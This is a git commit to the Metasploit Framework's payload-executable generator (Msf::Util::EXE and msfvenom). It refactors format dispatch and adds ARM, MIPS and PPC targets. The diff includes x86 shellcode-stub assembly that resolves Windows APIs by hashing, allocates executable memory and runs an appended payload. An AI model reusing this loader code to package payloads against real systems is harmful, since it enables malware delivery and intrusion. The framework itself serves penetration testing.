Add more supported formats to exe generation

- Already supported, just added calls to the the right methods in
  the .to_executable_fmt method:
  - Linux armle, mipsle, and mipsbe
  - Mac arm, ppc

- makes the two (!?) copies of block_api for windows match more closely
  with the source used elsewhere. This is still needs to be refactored
  to get rid of the duplication.

- Get rid of some of the logic in msfvenom duplicated from Util::EXE
bug/bundler_fix
James Lee 2013-06-20 10:44:52 -05:00
parent 0d78a04af3
commit 1466609c86
2 changed files with 103 additions and 145 deletions

View File

@ -137,7 +137,6 @@ require 'digest/sha1'
nil
end
def self.to_win32pe(framework, code, opts={})
# For backward compatability, this is roughly equivalent to 'exe-small' fmt
@ -400,7 +399,6 @@ require 'digest/sha1'
return exe
end
def self.to_win32pe_old(framework, code, opts={})
payload = code.dup
@ -466,7 +464,6 @@ require 'digest/sha1'
return pe
end
def self.to_win64pe(framework, code, opts={})
# Allow the user to specify their own EXE template
@ -1427,7 +1424,6 @@ End Sub
return self.to_war(jspraw, opts)
end
# Creates a .NET DLL which loads data into memory
# at a specified location with read/execute permissions
# - the data will be loaded at: base+0x2065
@ -1513,11 +1509,10 @@ End Sub
api_call:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
mov ebp, esp ; Create a new stack frame
xor eax, eax ; Zero EDX
mov eax, [fs:eax+48] ; Get a pointer to the PEB
mov eax, [eax+12] ; Get PEB->Ldr
mov eax, [eax+20] ; Get the first module from the InMemoryOrder module list
mov edx, eax
xor edx, edx ; Zero EDX
mov edx, [fs:edx+48] ; Get a pointer to the PEB
mov edx, [edx+12] ; Get PEB->Ldr
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
@ -1531,8 +1526,13 @@ End Sub
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
;loop loop_modname ; Loop until we have read enough
; The random jmps added below will occasionally make this offset
; greater than will fit in a byte, so we have to use a regular jnz
; instruction which can take a full 32-bits to accomodate the
; bigger offset
dec ecx
jnz loop_modname ; Loop untill we have read enough
jnz loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
@ -1550,7 +1550,7 @@ End Sub
add ebx, edx ; Add the modules base address
; Computing the module hash + function hash
get_next_func: ;
test ecx, ecx ; (Changed from JECXZ to work around METASM)
test ecx, ecx ; Changed from jecxz to accomodate the larger offset produced by random jmps below
jz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
@ -1593,7 +1593,7 @@ End Sub
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module
jmp next_mod ; Process this module
^
stub_exit = %Q^
@ -1626,7 +1626,7 @@ End Sub
pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size:
mov esi,PAYLOAD_SIZE
mov esi, #{code.length}
allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
@ -1659,10 +1659,9 @@ End Sub
get_payload:
call got_payload
payload:
; Append an arbitary payload here
; Append an arbitrary payload here
^
stub_alloc.gsub!('short', '')
stub_alloc.gsub!('byte', '')
@ -1693,10 +1692,8 @@ End Sub
wrapper << stub_final
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
off = enc.offset_of_reloc('PAYLOAD_SIZE')
res = enc.data + code
res[off,4] = [code.length].pack('V')
res
end
@ -1735,12 +1732,11 @@ End Sub
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
dec ecx
jnz loop_modname ; Loop untill we have read enough
loop loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to itterate the export address table,
; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address
@ -1796,7 +1792,7 @@ End Sub
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp next_mod ; Process this module
jmp next_mod ; Process this module
^
stub_exit = %Q^
@ -1830,7 +1826,7 @@ End Sub
pop ebp ; Pop off the address of 'api_call' for calling later.
allocate_size:
mov esi,PAYLOAD_SIZE
mov esi,#{code.length}
allocate:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
@ -1876,7 +1872,7 @@ End Sub
get_payload:
call got_payload
payload:
; Append an arbitary payload here
; Append an arbitrary payload here
^
@ -1918,11 +1914,9 @@ End Sub
wrapper << stub_final
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
off = enc.offset_of_reloc('PAYLOAD_SIZE')
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
res = enc.data + code
res[off,4] = [code.length].pack('V')
if which_offset == 'start'
res[soff,4] = [block_offset - (soff + 4)].pack('V')
elsif which_offset == 'end'
@ -1935,15 +1929,35 @@ End Sub
#
# This routine is shared between msfencode, rpc, and payload modules (use <payload>)
# Generate an executable of a given format suitable for running on the
# architecture/platform pair.
#
# It will return nil if it wasn't able to generate any output.
# This routine is shared between msfencode, rpc, and payload modules (use
# <payload>)
#
# @param framework [Framework]
# @param arch [String] Architecture for the target format; one of the ARCH_*
# constants
# @param plat [#index] platform
# @param code [String] The shellcode for the resulting executable to run
# @param fmt [String] One of the executable formats as defined in
# {.to_executable_fmt_formats}
# @param exeopts [Hash] Passed directly to the approrpriate method for
# generating an executable for the given +arch+/+plat+ pair.
# @return [String] An executable appropriate for the given
# architecture/platform pair.
# @return [nil] If the format is unrecognized or the arch and plat don't
# make sense together.
def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
output = nil
case fmt
when 'asp'
output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts)
when 'aspx'
output = Msf::Util::EXE.to_win32pe_aspx(framework, code, exeopts)
when 'dll'
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_win32pe_dll(framework, code, exeopts)
@ -1978,29 +1992,32 @@ End Sub
when 'elf'
if (not plat or (plat.index(Msf::Module::Platform::Linux)))
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_linux_x86_elf(framework, code, exeopts)
elsif (arch and (arch.index( ARCH_X86_64 ) or arch.index( ARCH_X64 )))
output = Msf::Util::EXE.to_linux_x64_elf(framework, code, exeopts)
end
output = case arch
when ARCH_X86,nil then Msf::Util::EXE.to_linux_x86_elf(framework, code, exeopts)
when ARCH_X86_64 then Msf::Util::EXE.to_linux_x64_elf(framework, code, exeopts)
when ARCH_X64 then Msf::Util::EXE.to_linux_x64_elf(framework, code, exeopts)
when ARCH_ARMLE then Msf::Util::EXE.to_linux_armle_elf(framework, code, exeopts)
when ARCH_MIPSBE then Msf::Util::EXE.to_linux_mipsbe_elf(framework, code, exeopts)
when ARCH_MIPSLE then Msf::Util::EXE.to_linux_mipsle_elf(framework, code, exeopts)
end
elsif(plat and (plat.index(Msf::Module::Platform::BSD)))
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
end
output = case arch
when ARCH_X86,nil then Msf::Util::EXE.to_bsd_x86_elf(framework, code, exeopts)
end
elsif(plat and (plat.index(Msf::Module::Platform::Solaris)))
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_solaris_x86_elf(framework, code, exeopts)
end
output = case arch
when ARCH_X86,nil then Msf::Util::EXE.to_solaris_x86_elf(framework, code, exeopts)
end
end
when 'macho'
if (not arch or (arch.index(ARCH_X86)))
output = Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts)
end
if (arch and (arch.index(ARCH_X86_64) or arch.index(ARCH_X64)))
output = Msf::Util::EXE.to_osx_x64_macho(framework, code, exeopts)
end
output = case arch
when ARCH_X86,nil then Msf::Util::EXE.to_osx_x86_macho(framework, code, exeopts)
when ARCH_X86_64 then Msf::Util::EXE.to_osx_x64_macho(framework, code, exeopts)
when ARCH_X64 then Msf::Util::EXE.to_osx_x64_macho(framework, code, exeopts)
when ARCH_ARMLE then Msf::Util::EXE.to_osx_arm_macho(framework, code, exeopts)
when ARCH_PPC then Msf::Util::EXE.to_osx_ppc_macho(framework, code, exeopts)
end
when 'vba'
output = Msf::Util::EXE.to_vba(framework, code, exeopts)
@ -2015,12 +2032,6 @@ End Sub
when 'loop-vbs'
output = Msf::Util::EXE.to_win32pe_vbs(framework, code, exeopts.merge({ :persist => true }))
when 'asp'
output = Msf::Util::EXE.to_win32pe_asp(framework, code, exeopts)
when 'aspx'
output = Msf::Util::EXE.to_win32pe_aspx(framework, code, exeopts)
when 'war'
arch ||= [ ARCH_X86 ]
tmp_plat = plat.platforms if plat
@ -2040,7 +2051,10 @@ End Sub
end
def self.to_executable_fmt_formats
['dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe','vbs','loop-vbs','asp','aspx','war','psh','psh-net']
[
'dll','exe','exe-small','exe-only','elf','macho','vba','vba-exe',
'vbs','loop-vbs','asp','aspx','war','psh','psh-net'
]
end
#

128
msfvenom
View File

@ -1,9 +1,6 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
#
# $Id: msfvenom 14909 2012-03-10 06:50:03Z rapid7 $
# $Revision: 14909 $
#
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
@ -426,107 +423,54 @@ end
$stdout.binmode
if opts[:format] !~/^(ruby|rb|perl|pl|bash|sh|c|csharp|js|dll|elf)$/i
exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, opts[:format], exeopts)
end
case opts[:format].downcase
# Special-case this to check endianness
when "js_be"
case opts[:format]
when /^(ruby|rb|perl|pl|bash|sh|c|csharp|js_le|raw|py)$/i
$stdout.write Msf::Simple::Buffer.transform(payload_raw, opts[:format])
when /^asp$/
asp = Msf::Util::EXE.to_win32pe_asp($framework, payload_raw, exeopts)
$stdout.puts asp
when /^aspx$/
aspx = Msf::Util::EXE.to_win32pe_aspx($framework, payload_raw, exeopts)
$stdout.puts aspx
when /^js_be$/i
if Rex::Arch.endian(payload.arch) != ENDIAN_BIG
print_error("Big endian format selected for a non big endian payload")
exit
end
$stdout.puts Msf::Simple::Buffer.transform(payload_raw, opts[:format])
when /^java$/i
if(!exe and payload.platform.platforms.index(Msf::Module::Platform::Java))
exe = payload.generate_jar.pack
end
$stdout.write Msf::Simple::Buffer.transform(payload_raw, opts[:format])
if exe
$stdout.write exe
else
print_error("Could not generate payload format")
end
when /^elf$/i
if (opts[:platform].index(Msf::Module::Platform::Linux))
elf = case opts[:arch]
when /^x64$/; Msf::Util::EXE.to_linux_x64_elf($framework, payload_raw, exeopts)
when /^x86$/; Msf::Util::EXE.to_linux_x86_elf($framework, payload_raw, exeopts)
when /^arm$/; Msf::Util::EXE.to_linux_armle_elf($framework, payload_raw, exeopts)
end
elsif(opts[:platform].index(Msf::Module::Platform::BSD))
elf = case opts[:arch]
when /^x86$/; Msf::Util::EXE.to_bsd_x86_elf($framework, payload_raw, exeopts)
end
elsif(opts[:platform].index(Msf::Module::Platform::Solaris))
elf = case opts[:arch]
when /^x86$/; Msf::Util::EXE.to_solaris_x86_elf($framework, payload_raw, exeopts)
end
end
if elf.nil?
print_error("This format does not support that architecture")
exit
end
$stdout.write elf
when /^macho$/i
bin = case opts[:arch]
when /^x64$/; Msf::Util::EXE.to_osx_x64_macho($framework, payload_raw, exeopts)
when /^x86$/; Msf::Util::EXE.to_osx_x86_macho($framework, payload_raw, exeopts)
when /^arm$/; Msf::Util::EXE.to_osx_arm_macho($framework, payload_raw, exeopts)
when /^ppc$/; Msf::Util::EXE.to_osx_ppc_macho($framework, payload_raw, exeopts)
end
if bin.nil?
print_error("This format does not support that architecture")
exit
end
$stdout.write bin
when /^dll$/i
dll = case opts[:arch]
when /^x86$/; Msf::Util::EXE.to_win32pe_dll($framework, payload_raw)
when /^(x64|x86_64)$/; Msf::Util::EXE.to_win64pe_dll($framework, payload_raw)
end
if dll.nil?
print_error("This format does not support that architecture")
exit
end
$stdout.write dll
when /^exe$/i
$stdout.write exe
when /^exe-small$/i
when /^vba$/i
vba = Msf::Util::EXE.to_vba($framework, payload_raw)
$stdout.puts vba
when /^vba-exe$/i
exe = Msf::Util::EXE.to_win32pe($framework, payload_raw)
vba = Msf::Util::EXE.to_exe_vba(exe)
$stdout.puts vba
when /^vbs$/i
exe = Msf::Util::EXE.to_win32pe($framework, payload_raw)
vbs = Msf::Util::EXE.to_exe_vbs(exe)
$stdout.puts vbs
when /^war$/i
# Special-case this so we can build a war directly from the payload if
# possible
when "war"
exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, opts[:format], exeopts)
if (!exe and payload.platform.platforms.index(Msf::Module::Platform::Java))
exe = payload.generate_war.pack
else
exe = Msf::Util::EXE.to_jsp_war(exe)
end
$stdout.write exe
when /^psh$/i
psh = Msf::Util::EXE.to_win32pe_psh($framework, payload_raw, exeopts)
$stdout.write psh
when /^psh-net$/i
psh = Msf::Util::EXE.to_win32pe_psh_net($framework, payload_raw, exeopts)
$stdout.write psh
# Same as war, special-case this so we can build a jar directly from the
# payload if possible
when "java"
exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, opts[:format], exeopts)
if(!exe and payload.platform.platforms.index(Msf::Module::Platform::Java))
exe = payload.generate_jar.pack
end
if exe
$stdout.write exe
else
print_error("Could not generate payload format")
end
when *Msf::Simple::Buffer.transform_formats
$stdout.write Msf::Simple::Buffer.transform(payload_raw, opts[:format])
when *Msf::Util::EXE.to_executable_fmt_formats
exe = Msf::Util::EXE.to_executable_fmt($framework, opts[:arch], opts[:platform], payload_raw, opts[:format], exeopts)
if exe.nil?
print_error("This format does not support that platform/architecture")
exit
end
$stdout.write exe
else
print_error("Unsupported format")
exit
end